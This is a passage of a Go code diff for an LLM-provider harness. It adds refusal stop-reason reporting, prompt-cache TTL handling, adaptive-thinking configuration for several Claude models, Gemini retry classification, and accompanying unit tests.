Reasoning ReasoningMode // zero value = ReasoningOff; safe default
// CacheControl enables provider-level automatic prompt caching.
CacheControl *CacheControl
// SessionID is routing metadata only and is not sent to providers.
SessionID string
Reasoning ReasoningMode // zero value = ReasoningOff; safe default
// NativeReasoning takes precedence over the portable Reasoning knob and
// preserves exact inbound proxy semantics, including omitted vs disabled.
NativeReasoning *NativeReasoningConfig
}
// Usage tracks token usage.
@@ -130,13 +190,29 @@ type Usage struct {
// ChatEvent is a single streaming event from the LLM.
type ChatEvent struct {
Type EventType
Text string
ToolCall *ToolCall
Usage *Usage
Error error
Type EventType
Text string
ToolCall *ToolCall
ThinkingBlock *ThinkingBlock // populated on EventThinkingBlock
Usage *Usage
Error error
// StopReason carries the provider's terminal stop reason on EventDone
// ("end_turn", "tool_use", "max_tokens", "refusal", ...). Empty when
// the provider doesn't report one. StopReasonRefusal is the value the
// runtime branches on: Claude Fable 5 safety classifiers decline a
// request with HTTP 200 + stop_reason=refusal and empty content —
// without surfacing it the turn looks like a silent empty success.
StopReason string
// StopCategory is the refusal policy category from stop_details
// ("cyber", "bio", "reasoning_extraction"); informational only and
// may be empty even on a refusal.
StopCategory string
}
// StopReasonRefusal is the StopReason value for safety-classifier and
// model-initiated refusals (Claude Fable 5+).
const StopReasonRefusal = "refusal"
// ModelInfo describes an available model.
type ModelInfo struct {
ID string
@@ -171,6 +247,18 @@ type NonStreamingProvider interface {
ChatNonStreaming(ctx context.Context, req ChatRequest) (<-chan ChatEvent, error)
}
// PromptCachingProvider is an optional capability interface: providers
// that implement Anthropic-style explicit prompt caching (cache_control
// breakpoints, CacheLastMessage) declare it here. The runtime gates
// caching on this capability rather than on the provider's configured
// NAME — a user-named provider block ("platformai", "bedrock", any
// relay) wrapping an Anthropic-shaped API must still get caching;
// matching the name string alone silently disabled it for every
// renamed provider.
type PromptCachingProvider interface {
SupportsPromptCaching() bool
}
// ParseProviderModel splits "provider/model" into (provider, model).
// If no slash is present, returns ("", name) and the caller should use a default.
func ParseProviderModel(name string) (provider, model string) {
@@ -207,10 +295,10 @@ func JoinSystemPromptParts(parts []SystemPromptPart) string {
// ProviderOptions holds connection details for creating an LLM provider.
// Kept here so consumers can pass a single struct around even though the
// concrete provider constructors live in subpackages
// (harness/providers/{anthropic,openai,gemini,qwen}). Each subpackage's
// New() takes the relevant fields directly.
// (harness/providers/{anthropic,openai,gemini,litellm,openrouter}). Each
// subpackage's New() takes the relevant fields directly.
type ProviderOptions struct {
APIKey string
BaseURL string
Kind string // "anthropic" | "openai" | "openai-compatible" | "local" | "gemini" | "qwen"
Kind string // "anthropic" | "openai" | "openai-compatible" | "local" | "gemini"
}
+26 -6
View File
@@ -6,6 +6,7 @@ import (
anthropic "github.com/anthropics/anthropic-sdk-go"
openai "github.com/sashabaranov/go-openai"
"google.golang.org/genai"
)
// IsRetryableModelError reports whether err is a transient capacity
@@ -14,14 +15,17 @@ import (
//
// - Anthropic 429 (rate limit) and 529 (overloaded)
// - OpenAI 429 (rate limit) and 5xx (server / overloaded)
// - Gemini 429 (quota/RESOURCE_EXHAUSTED) and 5xx (overloaded/unavailable),
// recognized via a typed genai.APIError path (Gemini's error string
// "Error 429, ... Status: RESOURCE_EXHAUSTED" does not match the
// bounded substring forms, so the typed path is required).
//
// Anything else (including 4xx auth/validation errors) returns false:
// retrying with a different model wouldn't fix the underlying problem.
//
// Errors from local providers (Ollama, etc.) and Gemini are NOT
// classified as retryable here; their failure modes are different
// and a model swap rarely helps. Add cases as new providers
// accumulate retry experience.
// Errors from local providers (Ollama, etc.) are NOT classified as
// retryable here; their failure modes are different and a model swap
// rarely helps. Add cases as new providers accumulate retry experience.
func IsRetryableModelError(err error) bool {
if err == nil {
return false
@@ -47,13 +51,29 @@ func IsRetryableModelError(err error) bool {
return openaiReqErr.HTTPStatusCode == 429 ||
(openaiReqErr.HTTPStatusCode >= 500 && openaiReqErr.HTTPStatusCode < 600)
}
// genai.APIError.Error() is a value receiver, so the error interface is
// satisfied by the value; errors.As targets the value type.
var genaiErr genai.APIError
if errors.As(err, &genaiErr) {
return genaiErr.Code == 429 ||
(genaiErr.Code >= 500 && genaiErr.Code < 600)
}
// Last-ditch: substring match on common SDK error wrappers that
// don't unwrap cleanly to typed errors. Cheap belt-and-braces;
// only reached when no typed match found above.
msg := strings.ToLower(err.Error())
if strings.Contains(msg, "429") || strings.Contains(msg, "529") ||
strings.Contains(msg, "rate limit") || strings.Contains(msg, "overloaded") {
// Bounded forms so a bare "429"/"529" inside a request id or unrelated
// digits doesn't trigger a retry. Word matches stay as-is (specific).
for _, sig := range []string{
"status 429", "code: 429", "code:429", " 429 ", "429 too many requests",
"status 529", "code: 529", "code:529", " 529 ", "529 overloaded",
} {
if strings.Contains(msg, sig) {
return true
}
}
if strings.Contains(msg, "rate limit") || strings.Contains(msg, "overloaded") {
return true
}
return false
+28
View File
@@ -8,8 +8,26 @@ import (
anthropic "github.com/anthropics/anthropic-sdk-go"
openai "github.com/sashabaranov/go-openai"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"google.golang.org/genai"
)
func TestIsRetryable_Gemini429(t *testing.T) {
// Mirror genai.APIError's real shape.
err := genai.APIError{Code: 429, Message: "Resource has been exhausted (e.g. check quota).", Status: "RESOURCE_EXHAUSTED"}
require.True(t, IsRetryableModelError(err))
}
func TestIsRetryable_Gemini503(t *testing.T) {
err := genai.APIError{Code: 503, Message: "The model is overloaded.", Status: "UNAVAILABLE"}
require.True(t, IsRetryableModelError(err))
}
func TestIsRetryable_Gemini400NotRetryable(t *testing.T) {
err := genai.APIError{Code: 400, Message: "Invalid argument", Status: "INVALID_ARGUMENT"}
require.False(t, IsRetryableModelError(err))
}
func TestIsRetryableModelErrorAnthropic429(t *testing.T) {
err := &anthropic.Error{StatusCode: 429}
assert.True(t, IsRetryableModelError(err))
@@ -89,3 +107,13 @@ func TestIsRetryableModelErrorUnrelatedError(t *testing.T) {
err := errors.New("some other failure")
assert.False(t, IsRetryableModelError(err))
}
func TestRetry_DigitsInRequestIDNotRetryable(t *testing.T) {
err := errors.New("request failed: req_abc429def something went wrong")
require.False(t, IsRetryableModelError(err))
}
func TestRetry_RealStatus429Retryable(t *testing.T) {
err := errors.New("openai: error, status 429 too many requests")
require.True(t, IsRetryableModelError(err))
}
+259 -27
View File
@@ -4,6 +4,7 @@ import (
"context"
"encoding/base64"
"encoding/json"
"fmt"
"log/slog"
"strings"
@@ -28,6 +29,11 @@ func NewAnthropicProvider(apiKey, baseURL string) *AnthropicProvider {
return &AnthropicProvider{client: client}
}
// SupportsPromptCaching implements llm.PromptCachingProvider: the
// Anthropic Messages API honours cache_control breakpoints regardless
// of what the provider block is named in user config.
func (p *AnthropicProvider) SupportsPromptCaching() bool { return true }
func (p *AnthropicProvider) Models() []llm.ModelInfo {
return []llm.ModelInfo{
{ID: "claude-sonnet-4-5-20250514", Name: "Claude Sonnet 4.5", Provider: "anthropic"},
@@ -55,16 +61,18 @@ func (p *AnthropicProvider) buildMessageParams(req llm.ChatRequest) anthropic.Me
props = schema.Properties
required = schema.Required
}
tools = append(tools, anthropic.ToolUnionParam{
OfTool: &anthropic.ToolParam{
Name: t.Name,
Description: anthropic.String(t.Description),
InputSchema: anthropic.ToolInputSchemaParam{
Properties: props,
Required: required,
},
tool := anthropic.ToolParam{
Name: t.Name,
Description: anthropic.String(t.Description),
InputSchema: anthropic.ToolInputSchemaParam{
Properties: props,
Required: required,
},
})
}
if cacheRequested(t.CacheControl) {
tool.CacheControl = anthropicCacheControl(t.CacheControl)
}
tools = append(tools, anthropic.ToolUnionParam{OfTool: &tool})
}
maxTokens := int64(req.MaxTokens)
@@ -81,16 +89,94 @@ func (p *AnthropicProvider) buildMessageParams(req llm.ChatRequest) anthropic.Me
MaxTokens: maxTokens,
Messages: msgs,
}
if cacheRequested(req.CacheControl) {
params.CacheControl = anthropicCacheControl(req.CacheControl)
}
if len(tools) > 0 {
params.Tools = tools
}
if sys := buildAnthropicSystem(req); len(sys) > 0 {
params.System = sys
}
if req.Temperature > 0 {
if req.TemperatureSet {
// Protocol-proxy requests must preserve even an explicit zero. Let the
// upstream API reject an incompatible client combination unchanged.
params.Temperature = anthropic.Float(req.Temperature)
} else if req.Temperature > 0 && !anthropicAdaptiveThinkingOnly(model) {
// Portable Harness callers retain the provider's compatibility guard:
// adaptive-only models reject sampling parameters while thinking.
params.Temperature = anthropic.Float(req.Temperature)
}
if cfg, ok := p.BuildThinkingConfig(model, req.Reasoning); ok {
if native := req.NativeReasoning; native != nil {
// Proxy mode preserves exactly what the client requested. Do not infer a
// model default, silently remove sampling controls, or enlarge max_tokens:
// the upstream should accept or reject the same semantics as a direct call.
switch native.Type {
case "adaptive":
params.Thinking = anthropic.ThinkingConfigParamUnion{
OfAdaptive: &anthropic.ThinkingConfigAdaptiveParam{
Display: anthropic.ThinkingConfigAdaptiveDisplay(native.Display),
},
}
case "enabled":
params.Thinking = anthropic.ThinkingConfigParamUnion{
OfEnabled: &anthropic.ThinkingConfigEnabledParam{
BudgetTokens: native.BudgetTokens,
Display: anthropic.ThinkingConfigEnabledDisplay(native.Display),
},
}
case "disabled":
params.Thinking = anthropic.ThinkingConfigParamUnion{
OfDisabled: &anthropic.ThinkingConfigDisabledParam{},
}
}
if native.Effort != "" {
params.OutputConfig = anthropic.OutputConfigParam{
Effort: anthropic.OutputConfigEffort(native.Effort),
}
}
if len(native.OutputFormat) > 0 {
var format anthropic.JSONOutputFormatParam
if err := json.Unmarshal(native.OutputFormat, &format); err == nil {
params.OutputConfig.Format = format
} else {
// Decoders are expected to validate this before constructing the
// request. Keep this defensive diagnostic for direct Harness callers.
slog.Error("invalid native Anthropic output format", "err", err)
}
}
} else if anthropicAdaptiveThinkingOnly(model) {
// Fable 5 / Mythos 5 / Opus 4.7+ / Opus 5 / Sonnet 5 reject the
// legacy enabled+budget_tokens config (400 "thinking.type.enabled
// is not supported"). They take {type:"adaptive"} plus
// output_config.effort; sampling params are also removed.
if req.Reasoning != llm.ReasoningOff {
params.Thinking = anthropic.ThinkingConfigParamUnion{
OfAdaptive: &anthropic.ThinkingConfigAdaptiveParam{},
}
params.OutputConfig = anthropic.OutputConfigParam{
Effort: anthropicEffort(req.Reasoning),
}
slog.Info("anthropic adaptive thinking",
"model", model,
"effort", string(anthropicEffort(req.Reasoning)))
} else if anthropicThinksByDefault(model) {
// Opus 5 and Sonnet 5 think by default when the thinking
// param is omitted entirely (unlike Opus 4.7/4.8, Fable 5,
// and Mythos, where omitting it means no thinking) — so
// expressing "reasoning off" here requires an explicit
// {type:"disabled"}. Accepted at effort high or below;
// our ReasoningMode never asks for more than high.
params.Thinking = anthropic.ThinkingConfigParamUnion{
OfDisabled: &anthropic.ThinkingConfigDisabledParam{},
}
}
// Else (Fable 5 / Mythos / Opus 4.7/4.8, reasoning off): omit
// thinking entirely. Fable 5 and Mythos reject an explicit
// {type:"disabled"} at any effort; Opus 4.7/4.8 already default
// to no thinking when the param is omitted, so there's nothing
// to disable.
} else if cfg, ok := p.BuildThinkingConfig(model, req.Reasoning); ok {
required := cfg.BudgetTokens + 4096
if maxTokens < required {
maxTokens = required
@@ -141,12 +227,14 @@ func (p *AnthropicProvider) ChatStream(ctx context.Context, req llm.ChatRequest)
type pendingTC struct {
id string
name string
inputJSON string // built from input_json_delta events
startInput string // captured from content_block_start (proxy fallback)
inputJSON strings.Builder // built from input_json_delta events
startInput string // captured from content_block_start (proxy fallback)
}
var pendingTools []pendingTC
var currentBlockType string
var inputTokens, cacheCreationTokens, cacheReadTokens int64
var pendingThinking strings.Builder
var pendingThinkingSignature string
for stream.Next() {
event := stream.Current()
@@ -163,6 +251,10 @@ func (p *AnthropicProvider) ChatStream(ctx context.Context, req llm.ChatRequest)
switch cb.Type {
case "text":
currentBlockType = "text"
case "thinking":
currentBlockType = "thinking"
pendingThinking.Reset()
pendingThinkingSignature = ""
case "tool_use":
currentBlockType = "tool_use"
pending := pendingTC{
@@ -195,20 +287,38 @@ func (p *AnthropicProvider) ChatStream(ctx context.Context, req llm.ChatRequest)
Type: llm.EventTextDelta,
Text: delta.Text,
}
case "thinking_delta":
pendingThinking.WriteString(delta.Thinking)
case "signature_delta":
pendingThinkingSignature += delta.Signature
case "input_json_delta":
if len(pendingTools) > 0 {
pendingTools[len(pendingTools)-1].inputJSON += delta.PartialJSON
pendingTools[len(pendingTools)-1].inputJSON.WriteString(delta.PartialJSON)
}
}
case "content_block_stop":
if currentBlockType == "thinking" {
events <- llm.ChatEvent{
Type: llm.EventThinkingBlock,
ThinkingBlock: &llm.ThinkingBlock{
Thinking: pendingThinking.String(),
Signature: pendingThinkingSignature,
},
}
pendingThinking.Reset()
pendingThinkingSignature = ""
}
if currentBlockType == "tool_use" && len(pendingTools) > 0 {
tc := pendingTools[len(pendingTools)-1]
// Index in place rather than copying the element: the
// pendingTC holds a strings.Builder, which must not be
// copied after first write (vet copylock).
tc := &pendingTools[len(pendingTools)-1]
// Prefer streamed deltas (canonical Anthropic). Fall
// back to start-time input (proxy emitting full input
// upfront). Default to "{}" so MCP servers receive a
// valid empty-args envelope rather than null/empty.
inp := tc.inputJSON
inp := tc.inputJSON.String()
if inp == "" {
inp = tc.startInput
}
@@ -227,7 +337,14 @@ func (p *AnthropicProvider) ChatStream(ctx context.Context, req llm.ChatRequest)
currentBlockType = ""
case "message_delta":
if event.Usage.OutputTokens > 0 || cacheCreationTokens > 0 || cacheReadTokens > 0 {
stopReason := string(event.Delta.StopReason)
stopCategory := string(event.Delta.StopDetails.Category)
if stopReason == llm.StopReasonRefusal {
slog.Warn("anthropic refusal stop reason",
"category", stopCategory,
"output_tokens", event.Usage.OutputTokens)
}
if event.Usage.OutputTokens > 0 || cacheCreationTokens > 0 || cacheReadTokens > 0 || stopReason != "" {
slog.Info("anthropic stream usage",
"input_tokens", inputTokens,
"output_tokens", event.Usage.OutputTokens,
@@ -242,6 +359,8 @@ func (p *AnthropicProvider) ChatStream(ctx context.Context, req llm.ChatRequest)
CacheCreationInputTokens: int(cacheCreationTokens),
CacheReadInputTokens: int(cacheReadTokens),
},
StopReason: stopReason,
StopCategory: stopCategory,
}
}
@@ -249,7 +368,14 @@ func (p *AnthropicProvider) ChatStream(ctx context.Context, req llm.ChatRequest)
// Final event — nothing extra to emit
case "error":
slog.Error("anthropic stream error", "event", event.Type)
// The SDK surfaces error detail via stream.Err() (handled after
// the loop); this in-band branch must not be a silent no-op —
// emit an EventError so the runtime treats it as a failure.
slog.Error("anthropic stream error event", "event", event.Type)
events <- llm.ChatEvent{
Type: llm.EventError,
Error: fmt.Errorf("anthropic stream error event"),
}
}
}
@@ -271,8 +397,8 @@ func (p *AnthropicProvider) ChatStream(ctx context.Context, req llm.ChatRequest)
// mid-flight; the partial output of the failed stream is discarded so
// the prompt cache prefix on the next turn stays byte-identical.
//
// Note: thinking blocks (when reasoning is enabled) are NOT surfaced —
// matches the streaming path which also doesn't emit thinking deltas.
// Thinking blocks are surfaced as EventThinkingBlock events so the runtime
// can store and echo them back in subsequent turns.
// Tool-use input is converted to JSON via the SDK's RawJSON field.
func (p *AnthropicProvider) ChatNonStreaming(ctx context.Context, req llm.ChatRequest) (<-chan llm.ChatEvent, error) {
params := p.buildMessageParams(req)
@@ -286,6 +412,16 @@ func (p *AnthropicProvider) ChatNonStreaming(ctx context.Context, req llm.ChatRe
defer close(events)
for _, block := range msg.Content {
switch block.Type {
case "thinking":
if block.Thinking != "" || block.Signature != "" {
events <- llm.ChatEvent{
Type: llm.EventThinkingBlock,
ThinkingBlock: &llm.ThinkingBlock{
Thinking: block.Thinking,
Signature: block.Signature,
},
}
}
case "text":
if block.Text != "" {
events <- llm.ChatEvent{Type: llm.EventTextDelta, Text: block.Text}
@@ -326,6 +462,8 @@ func (p *AnthropicProvider) ChatNonStreaming(ctx context.Context, req llm.ChatRe
CacheCreationInputTokens: int(msg.Usage.CacheCreationInputTokens),
CacheReadInputTokens: int(msg.Usage.CacheReadInputTokens),
},
StopReason: string(msg.StopReason),
StopCategory: string(msg.StopDetails.Category),
}
}()
return events, nil
@@ -374,6 +512,64 @@ func (p *AnthropicProvider) BuildThinkingConfig(model string, mode llm.Reasoning
}
}
// anthropicAdaptiveThinkingOnly reports whether the model accepts ONLY
// adaptive thinking: Claude Fable 5, Claude Mythos 5, Opus 4.7+, Opus 5,
// and Sonnet 5. On these the legacy {type:"enabled", budget_tokens:N}
// config and sampling params (temperature/top_p/top_k) return HTTP 400.
// Matched by substring so gateway model-group names
// (claude-fable-5-global) and Bedrock-style IDs
// (us.anthropic.claude-opus-4-8-v1) are covered.
func anthropicAdaptiveThinkingOnly(model string) bool {
adaptiveOnly := []string{
"claude-fable-5",
"claude-mythos-5",
"claude-mythos-preview",
"claude-opus-4-7",
"claude-opus-4-8",
"claude-opus-4-9", // future-proof within the 4.x line
"claude-opus-5",
"claude-sonnet-5",
}
for _, marker := range adaptiveOnly {
if strings.Contains(model, marker) {
return true
}
}
return false
}
// anthropicThinksByDefault reports whether the model runs adaptive
// thinking when the thinking param is omitted entirely — true for Opus 5
// and Sonnet 5 only. Fable 5, Mythos, and Opus 4.7/4.8 do NOT think by
// default (omitting thinking means no thinking on those), so expressing
// "reasoning off" there is a no-op omission; on Opus 5 / Sonnet 5 it
// requires an explicit {type:"disabled"} or the model thinks anyway.
func anthropicThinksByDefault(model string) bool {
thinksByDefault := []string{
"claude-opus-5",
"claude-sonnet-5",
}
for _, marker := range thinksByDefault {
if strings.Contains(model, marker) {
return true
}
}
return false
}
// anthropicEffort maps the unified ReasoningMode onto output_config.effort
// for adaptive-thinking-only models.
func anthropicEffort(mode llm.ReasoningMode) anthropic.OutputConfigEffort {
switch mode {
case llm.ReasoningLow:
return anthropic.OutputConfigEffortLow
case llm.ReasoningMedium:
return anthropic.OutputConfigEffortMedium
default:
return anthropic.OutputConfigEffortHigh
}
}
// anthropicSupportsThinking returns true for Claude models that accept
// extended thinking. Conservative — unknown IDs default to true so we
// let the API decide rather than silently drop a knob the user set.
@@ -414,7 +610,11 @@ func buildAnthropicMessages(in []llm.Message, cacheLast bool) []anthropic.Messag
i-- // un-consume; outer loop will re-process
break
}
blocks = append(blocks, buildToolResultBlock(cur))
block := buildToolResultBlock(cur)
if cacheRequested(cur.CacheControl) {
setCacheControlOnBlock(&block, cur.CacheControl)
}
blocks = append(blocks, block)
}
msgs = append(msgs, anthropic.NewUserMessage(blocks...))
} else if len(m.Images) > 0 {
@@ -426,12 +626,29 @@ func buildAnthropicMessages(in []llm.Message, cacheLast bool) []anthropic.Messag
if m.Content != "" {
blocks = append(blocks, anthropic.NewTextBlock(m.Content))
}
if cacheRequested(m.CacheControl) && len(blocks) > 0 {
setCacheControlOnBlock(&blocks[len(blocks)-1], m.CacheControl)
}
msgs = append(msgs, anthropic.NewUserMessage(blocks...))
} else {
msgs = append(msgs, anthropic.NewUserMessage(anthropic.NewTextBlock(m.Content)))
block := anthropic.NewTextBlock(m.Content)
if cacheRequested(m.CacheControl) {
setCacheControlOnBlock(&block, m.CacheControl)
}
msgs = append(msgs, anthropic.NewUserMessage(block))
}
case "assistant":
var blocks []anthropic.ContentBlockParamUnion
// Thinking blocks must come first, before text and tool_use.
for _, tb := range m.ThinkingBlocks {
blocks = append(blocks, anthropic.ContentBlockParamUnion{
OfThinking: &anthropic.ThinkingBlockParam{
Type: "thinking",
Thinking: tb.Thinking,
Signature: tb.Signature,
},
})
}
if m.Content != "" {
blocks = append(blocks, anthropic.NewTextBlock(m.Content))
}
@@ -443,6 +660,9 @@ func buildAnthropicMessages(in []llm.Message, cacheLast bool) []anthropic.Messag
blocks = append(blocks, anthropic.NewToolUseBlock(tc.ID, input, tc.Name))
}
if len(blocks) > 0 {
if cacheRequested(m.CacheControl) {
setCacheControlOnBlock(&blocks[len(blocks)-1], m.CacheControl)
}
msgs = append(msgs, anthropic.NewAssistantMessage(blocks...))
}
}
@@ -453,7 +673,7 @@ func buildAnthropicMessages(in []llm.Message, cacheLast bool) []anthropic.Messag
if cacheLast && len(msgs) > 0 {
tail := &msgs[len(msgs)-1]
if len(tail.Content) > 0 {
setCacheControlOnBlock(&tail.Content[len(tail.Content)-1])
setCacheControlOnBlock(&tail.Content[len(tail.Content)-1], nil)
}
}
return msgs
@@ -465,8 +685,8 @@ func buildAnthropicMessages(in []llm.Message, cacheLast bool) []anthropic.Messag
// so we mutate the variant struct directly. Variants other than text /
// tool_result / image / tool_use are out of scope; the runtime never
// produces them as the tail of a user message.
func setCacheControlOnBlock(block *anthropic.ContentBlockParamUnion) {
cc := anthropic.NewCacheControlEphemeralParam()
func setCacheControlOnBlock(block *anthropic.ContentBlockParamUnion, cache *llm.CacheControl) {
cc := anthropicCacheControl(cache)
switch {
case block.OfText != nil:
block.OfText.CacheControl = cc
@@ -528,8 +748,8 @@ func buildAnthropicSystem(req llm.ChatRequest) []anthropic.TextBlockParam {
continue
}
b := anthropic.TextBlockParam{Text: p.Text}
if p.Cache {
b.CacheControl = anthropic.NewCacheControlEphemeralParam()
if p.Cache || cacheRequested(p.CacheControl) {
b.CacheControl = anthropicCacheControl(p.CacheControl)
}
blocks = append(blocks, b)
}
@@ -543,3 +763,15 @@ func buildAnthropicSystem(req llm.ChatRequest) []anthropic.TextBlockParam {
}
return nil
}
func cacheRequested(cache *llm.CacheControl) bool {
return cache != nil && (cache.Type == "" || cache.Type == "ephemeral")
}
func anthropicCacheControl(cache *llm.CacheControl) anthropic.CacheControlEphemeralParam {
cc := anthropic.NewCacheControlEphemeralParam()
if cache != nil && cache.TTL != "" {
cc.TTL = anthropic.CacheControlEphemeralTTL(cache.TTL)
}
return cc
}
+339 -1
View File
@@ -6,12 +6,13 @@ import (
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
anthropic "github.com/anthropics/anthropic-sdk-go"
"github.com/sausheong/harness/llm"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/sausheong/harness/llm"
)
// helper: extract tool_use IDs (in order) from an assistant MessageParam.
@@ -234,6 +235,65 @@ func TestAnthropicSystemPromptPartsEmitCacheControl(t *testing.T) {
require.Empty(t, string(got[1].CacheControl.Type), "second block must not be cache-marked")
}
func TestAnthropicCacheControlPreservesTTLAtEveryWireLocation(t *testing.T) {
cache1h := &llm.CacheControl{Type: "ephemeral", TTL: "1h"}
p := NewAnthropicProvider("test-key", "")
params := p.buildMessageParams(llm.ChatRequest{
Model: "claude-test",
MaxTokens: 10,
CacheControl: cache1h,
SystemPromptParts: []llm.SystemPromptPart{
{Text: "stable system", CacheControl: cache1h},
},
Tools: []llm.ToolDef{{
Name: "lookup", Parameters: json.RawMessage(`{"type":"object","properties":{}}`), CacheControl: cache1h,
}},
Messages: []llm.Message{{Role: "user", Content: "hello", CacheControl: cache1h}},
})
require.Equal(t, "ephemeral", string(params.CacheControl.Type))
require.Equal(t, "1h", string(params.CacheControl.TTL))
require.Len(t, params.System, 1)
require.Equal(t, "1h", string(params.System[0].CacheControl.TTL))
require.Len(t, params.Tools, 1)
require.NotNil(t, params.Tools[0].OfTool)
require.Equal(t, "1h", string(params.Tools[0].OfTool.CacheControl.TTL))
require.Len(t, params.Messages, 1)
messageCache := params.Messages[0].Content[0].GetCacheControl()
require.NotNil(t, messageCache)
require.Equal(t, "1h", string(messageCache.TTL))
}
func TestAnthropicCacheControlAppearsOnActualHTTPRequest(t *testing.T) {
bodyCh := make(chan map[string]any, 1)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
var body map[string]any
require.NoError(t, json.NewDecoder(r.Body).Decode(&body))
bodyCh <- body
w.Header().Set("Content-Type", "text/event-stream")
_, _ = w.Write([]byte("event: message_start\ndata: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_1\",\"type\":\"message\",\"role\":\"assistant\",\"content\":[],\"model\":\"claude-test\",\"usage\":{\"input_tokens\":1,\"output_tokens\":0}}}\n\nevent: message_delta\ndata: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"end_turn\"},\"usage\":{\"output_tokens\":1}}\n\nevent: message_stop\ndata: {\"type\":\"message_stop\"}\n\n"))
}))
t.Cleanup(srv.Close)
cache := &llm.CacheControl{Type: "ephemeral", TTL: "1h"}
p := NewAnthropicProvider("test-key", srv.URL)
events, err := p.ChatStream(context.Background(), llm.ChatRequest{
Model: "claude-test", MaxTokens: 10, CacheControl: cache,
SystemPromptParts: []llm.SystemPromptPart{{Text: "system", CacheControl: cache}},
Tools: []llm.ToolDef{{Name: "lookup", Parameters: json.RawMessage(`{"type":"object","properties":{}}`), CacheControl: cache}},
Messages: []llm.Message{{Role: "user", Content: "hello", CacheControl: cache}},
})
require.NoError(t, err)
for range events {
}
body := <-bodyCh
require.Equal(t, "1h", body["cache_control"].(map[string]any)["ttl"])
require.Equal(t, "1h", body["system"].([]any)[0].(map[string]any)["cache_control"].(map[string]any)["ttl"])
require.Equal(t, "1h", body["tools"].([]any)[0].(map[string]any)["cache_control"].(map[string]any)["ttl"])
message := body["messages"].([]any)[0].(map[string]any)
require.Equal(t, "1h", message["content"].([]any)[0].(map[string]any)["cache_control"].(map[string]any)["ttl"])
}
func TestAnthropicSystemPromptStringFallback(t *testing.T) {
got := buildAnthropicSystem(llm.ChatRequest{SystemPrompt: "legacy"})
require.Len(t, got, 1)
@@ -521,3 +581,281 @@ data: {"type":"message_stop"}
assert.Equal(t, `{}`, string(toolDone.ToolCall.Input),
"argument-less tool call must serialize as {} so MCP transport accepts it")
}
// --- Adaptive-thinking model mapping ---------------------------------
//
// Claude Fable 5, Claude Mythos 5, Opus 4.7/4.8, Opus 5, and Sonnet 5
// reject the legacy thinking config: `thinking: {type:"enabled",
// budget_tokens:N}` returns HTTP 400 ("thinking.type.enabled is not
// supported for this model"). They also removed sampling params —
// sending `temperature` is a 400. For these models the provider must
// emit `thinking: {type:"adaptive"}` plus `output_config.effort`, and
// drop temperature.
//
// Opus 5 and Sonnet 5 additionally think BY DEFAULT when the thinking
// param is omitted — unlike Fable 5/Mythos/Opus 4.7/4.8, where omitting
// it means no thinking. So "reasoning off" on Opus 5/Sonnet 5 must send
// an explicit {type:"disabled"} rather than omit the param.
func wireJSON(t *testing.T, p *AnthropicProvider, req llm.ChatRequest) string {
t.Helper()
params := p.buildMessageParams(req)
b, err := json.Marshal(params)
require.NoError(t, err)
return string(b)
}
func TestAdaptiveThinkingModels_EmitAdaptiveNotEnabled(t *testing.T) {
p := NewAnthropicProvider("test-key", "")
models := []string{
"claude-fable-5",
"claude-fable-5-global", // LiteLLM / gateway model-group names
"claude-mythos-5",
"claude-opus-4-7",
"claude-opus-4-8",
"us.anthropic.claude-opus-4-8-v1", // Bedrock-style ID
"claude-opus-5",
"claude-sonnet-5",
}
for _, model := range models {
t.Run(model, func(t *testing.T) {
got := wireJSON(t, p, llm.ChatRequest{
Model: model,
Reasoning: llm.ReasoningHigh,
Messages: []llm.Message{{Role: "user", Content: "hi"}},
})
assert.Contains(t, got, `"thinking":{"type":"adaptive"}`,
"adaptive-only models must send thinking.type=adaptive")
assert.NotContains(t, got, `"budget_tokens"`,
"budget_tokens is rejected with 400 on adaptive-only models")
assert.Contains(t, got, `"output_config":{"effort":"high"}`,
"reasoning mode maps to output_config.effort on adaptive-only models")
})
}
}
func TestAdaptiveThinkingModels_EffortMapping(t *testing.T) {
p := NewAnthropicProvider("test-key", "")
cases := []struct {
mode llm.ReasoningMode
effort string
}{
{llm.ReasoningLow, "low"},
{llm.ReasoningMedium, "medium"},
{llm.ReasoningHigh, "high"},
}
for _, c := range cases {
t.Run(string(c.mode), func(t *testing.T) {
got := wireJSON(t, p, llm.ChatRequest{
Model: "claude-opus-4-8",
Reasoning: c.mode,
Messages: []llm.Message{{Role: "user", Content: "hi"}},
})
assert.Contains(t, got, `"output_config":{"effort":"`+c.effort+`"}`)
})
}
}
func TestAdaptiveThinkingModels_ReasoningOffOmitsThinking(t *testing.T) {
p := NewAnthropicProvider("test-key", "")
got := wireJSON(t, p, llm.ChatRequest{
Model: "claude-fable-5",
Messages: []llm.Message{{Role: "user", Content: "hi"}},
})
assert.NotContains(t, got, `"thinking"`,
"reasoning off must omit the thinking param entirely — Fable 5 "+
"rejects an explicit {type:disabled} with 400")
assert.NotContains(t, got, `"output_config"`)
}
func TestNativeReasoningConfigPreservesInboundProxySemantics(t *testing.T) {
p := &AnthropicProvider{}
tests := []struct {
name string
config *llm.NativeReasoningConfig
want []string
}{
{
name: "adaptive effort max",
config: &llm.NativeReasoningConfig{Type: "adaptive", Effort: "max"},
want: []string{`"thinking":{"type":"adaptive"}`, `"output_config":{"effort":"max"}`},
},
{
name: "enabled exact budget",
config: &llm.NativeReasoningConfig{Type: "enabled", BudgetTokens: 3072},
want: []string{`"thinking":{"budget_tokens":3072,"type":"enabled"}`},
},
{
name: "explicit disabled",
config: &llm.NativeReasoningConfig{Type: "disabled"},
want: []string{`"thinking":{"type":"disabled"}`},
},
}
for _, test := range tests {
t.Run(test.name, func(t *testing.T) {
params := p.buildMessageParams(llm.ChatRequest{
Model: "claude-opus-4-8-global", MaxTokens: 2048,
Messages: []llm.Message{{Role: "user", Content: "hello"}},
NativeReasoning: test.config,
})
raw, err := json.Marshal(params)
require.NoError(t, err)
for _, want := range test.want {
assert.Contains(t, string(raw), want)
}
assert.Contains(t, string(raw), `"max_tokens":2048`, "proxy mode must not enlarge max_tokens")
})
}
}
func TestNativeProxyPreservesExplicitZeroTemperature(t *testing.T) {
p := &AnthropicProvider{}
params := p.buildMessageParams(llm.ChatRequest{
Model: "claude-opus-4-8-global", MaxTokens: 32, Temperature: 0, TemperatureSet: true,
